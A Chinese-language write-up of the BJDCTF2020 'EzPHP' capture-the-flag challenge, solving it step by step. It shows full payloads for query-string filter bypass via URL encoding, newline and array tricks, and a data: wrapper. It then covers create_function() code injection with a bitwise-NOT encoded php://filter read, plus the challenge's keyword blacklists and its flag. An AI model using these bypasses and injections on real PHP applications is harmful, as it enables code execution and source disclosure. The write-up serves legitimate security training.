0%

[BJDCTF2020]EzPHP

老套路,没找到输入点我们看看源码中有没有提示。我们看到有提示GFXEIM3YFZYGQ4A= 测试一下发现是base32,解码后得到1nD3x.php。访问后得到源码,好戏开始。

一、绕过 $_SERVER[‘QUERY_STRING’] 匹配的正则

1
2
3
4
5
6
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

首先我们要知道,$_SERVER['QUERY_STRING'] 的值到底是什么,其实就是获取获取我们url传的值(?后面的所有字符)
绕过他其实也挺简单,我们直接进行将被过滤掉的字符进行URLencode 因为 $_SERVER['QUERY_STRING']获取的值不会进行URLDecode。

二、绕过 preg_match(‘/^mayi$/‘, x) && x !== ‘mayi’

这里要求我们以mayi开头到结尾。

1
2
3
4
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"]; // 这里我们把$_GET['debug'] 赋值为aqua_is_cute\n 即可绕过
echo "Neeeeee! Good Job!<br>";
}

我们只需要在最后一个字符后面加一个换行即可(%0A)

三、绕过 $_REQUEST 值判断

1
2
3
4
5
6
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

这里,本意是想限制我们传入的值不能有字母。但是我们注意到,我们传入都是get请求。
我们知道,$_REQUEST接收的请求除了get以为还有psot、cookie等。那么假如我们get传一个a,post也传一个a,那么$_REQUEST[a] 会是谁的值呢?

这取决于你的php.ini中的variables_order的设置,默认为:

1
variables_order = "GPCS"

也就是说,他先取了get的值然后判断有没有post的值有的话就覆盖掉。那么我们只需要将要get传入的参数post再传一遍即可。

四、绕过文件内容读取的比较

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"]; // 这里我们把$_GET['debug'] 赋值为aqua_is_cute\n 即可绕过
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

我们此时可以利用data伪协议,来伪造file文件的内容如:data:,debu_debu_aqua

五、绕过sha1

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){  
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里的话我们可以直接用传数组来进行绕过。

到现在的话,我们的payload为:

1
2
3
4
5
6
7
get:
?debu=aqua_is_cute%0a&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2
urlencode后:
p?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

POST:
debu=&file=

得到的回显是:

1
</code><br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>Neeeeee! Good Job!<br>Very good! you know my password. But what is flag?<br><br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=

这里我们注意到post的时候我们只需要post2个值,我们来看看这里的代码:

1
2
3
4
5
6
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

这里他用的是preg_match 我们的数组可以直接绕过的。

六、主要考点:create_function()代码注入

我们先介绍一下create_function()函数吧;其实就是匿名函数。

1
create_function ( string $args , string $code ) : string

他有2个参数,第一个$args就是匿名函数传进去的值(实参)而code就是函数的定义代码。其实内部类似这样:

1
2
3
function myFunc($a, $b){
return $a+$b;
}

我们怎么利用呢?我们配合题目的源码来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

这里的$code我们可以控制其为create_function函数,而$arg也是我们可以控制的(通过对flag数组赋值)。这样我们就可以进行注入了。
因为包含了flag.php文件所以我们猜测存在$flag变量。
我们使用get_defined_vars()函数来达到获取所有的变量键值对。但是发现是个假flag,且提示我们flag在rea1fl4g.php中,那么我们想办法包含这个文件,因为include被禁了,所以我们使用require。我们尝试使用require()来包含rea1fl4g.php ,然后进行读取所有变量,但是还是没有发现到flag。(只有一个假的)。
此时,我们猜测需要读取到rea1fl4g.php文件内容,想到php伪协议读取。

1
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

但是$arg中过滤了蛮多关键字。这是我们想到了取反。先是打算用python写一个脚本但是没成(求大佬指点),后面对照用php写了一个:

1
2
3
4
5
6
7
8
<?php
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a f l 4 g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";

最后得到:

1
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

那现在我们的payload为:

1
2
3
4
5
6
7
get:
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6
没urlencode前:
debu=aqua_is_cute%0a&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&flag[code]=create_functio%6e

post:
debu=&file=

最后发现源码长这样,怪不得输出变量没flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
echo "鍜︼紝浣犲眳鐒舵壘鍒版垜浜嗭紵锛佷笉杩囩湅鍒拌繖鍙ヨ瘽涔熶笉浠h〃浣犲氨鑳芥嬁鍒癴lag鍝︼紒";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{274cbb44-e5dc-4338-b4c6-b4918cba2f45}";
unset($rea1_f1114g);

-------------本文结束感谢您的阅读-------------